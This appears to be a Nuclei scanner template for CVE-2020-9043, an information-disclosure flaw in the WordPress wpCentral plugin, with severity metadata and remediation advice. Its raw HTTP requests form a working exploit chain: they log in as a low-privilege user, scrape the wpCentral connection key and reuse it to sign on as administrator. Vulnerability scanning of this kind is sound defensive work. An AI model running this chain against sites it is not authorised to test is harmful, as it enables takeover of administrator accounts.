WordPress wpCentral <1.5.1 - Information Disclosure

id: CVE-2020-9043

info:
  name: WordPress wpCentral <1.5.1 - Information Disclosure
  author: scent2d
  severity: high
  description: |
    WordPress wpCentral plugin before 1.5.1 is susceptible to information disclosure. An attacker can access the  connection key for WordPress Admin account and thus potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the wpCentral plugin.
  remediation: |
    Update the wpCentral plugin to version 1.5.1 or later to fix the information disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/10074
    - https://www.wordfence.com/blog/2020/02/vulnerability-in-wpcentral-plugin-leads-to-privilege-escalation/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9043
    - https://wordpress.org/plugins/wp-central/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9043
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-9043
    cwe-id: CWE-200
    epss-score: 0.08173
    epss-percentile: 0.94153
    cpe: cpe:2.3:a:wpcentral:wpcentral:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: wpcentral
    product: wpcentral
    framework: wordpress
  tags: cve,cve2020,wordpress,wp-plugin,wpcentral,authenticated,wp,wpscan,vkev,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-login.php?action=logout&_wpnonce={{nonce}} HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-admin/admin-ajax.php?action=my_wpc_signon&auth_key={{authkey}} HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - "contains(header_4, 'text/html')"
          - "status_code_4 == 200"
          - "contains(body_4, 'wpCentral Connection Key')"
          - contains(body_4, "pagenow = \'dashboard\'")
        condition: and

    extractors:
      - type: regex
        name: authkey
        group: 1
        regex:
          - 'style="word-wrap:break-word;">([a-z0-9]+)'
        internal: true
        part: body

      - type: regex
        name: nonce
        group: 1
        regex:
          - '_wpnonce=([0-9a-z]+)'
        internal: true
        part: body
# digest: 490a0046304402202a0b6cbf1476f7f1e6e048132956251cc382e7c18b8659670e7daac84ba720c302203fc0348b03f55c4473ac3550f9a5162066542600dc0fa08d974ac1dc4b97a812:922c64590222798bb761d5b6d8e72950